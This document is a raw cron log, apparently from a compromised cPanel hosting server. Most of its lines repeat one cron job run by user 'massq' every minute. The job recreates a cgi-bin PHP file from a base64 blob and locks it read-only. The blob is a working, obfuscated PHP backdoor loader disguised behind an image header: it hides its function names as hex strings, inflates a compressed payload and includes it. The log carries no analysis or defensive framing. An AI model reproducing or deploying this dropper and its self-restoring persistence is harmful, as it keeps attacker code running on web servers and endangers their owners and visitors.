Sep 10 13:58:01 server CROND[17672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:58:01 server CROND[17673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:58:01 server CROND[17675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:59:01 server CROND[18132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:59:01 server CROND[18131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:59:01 server CROND[18133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:00:01 server CROND[18532]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:00:01 server CROND[18535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:00:01 server CROND[18537]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:00:01 server CROND[18540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:00:01 server CROND[18539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:00:01 server CROND[18543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:00:01 server CROND[18541]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 14:00:01 server CROND[18542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:00:01 server CROND[18538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:00:01 server CROND[18544]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 14:01:01 server CROND[19500]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 14:01:01 server CROND[19499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:01:01 server CROND[19502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:01:01 server CROND[19501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:01:01 server run-parts(/etc/cron.hourly)[19500]: starting 0anacron
Sep 10 14:01:01 server run-parts(/etc/cron.hourly)[19520]: finished 0anacron
Sep 10 14:02:01 server CROND[19880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:02:01 server CROND[19881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:02:01 server CROND[19882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:03:01 server CROND[20247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:03:01 server CROND[20248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:03:01 server CROND[20249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:04:01 server CROND[20707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:04:01 server CROND[20708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:04:01 server CROND[20709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:05:01 server CROND[21100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:05:01 server CROND[21102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:05:01 server CROND[21104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:05:01 server CROND[21106]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:05:01 server CROND[21107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:05:01 server CROND[21108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:05:01 server CROND[21110]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:05:01 server CROND[21109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:05:01 server CROND[21105]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 14:06:01 server CROND[21954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:06:01 server CROND[21953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:06:01 server CROND[21955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:07:01 server CROND[22337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:07:01 server CROND[22338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:07:01 server CROND[22339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:08:01 server CROND[22712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:08:01 server CROND[22713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:08:01 server CROND[22714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:09:01 server CROND[23351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:09:01 server CROND[23354]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 14:09:01 server CROND[23353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
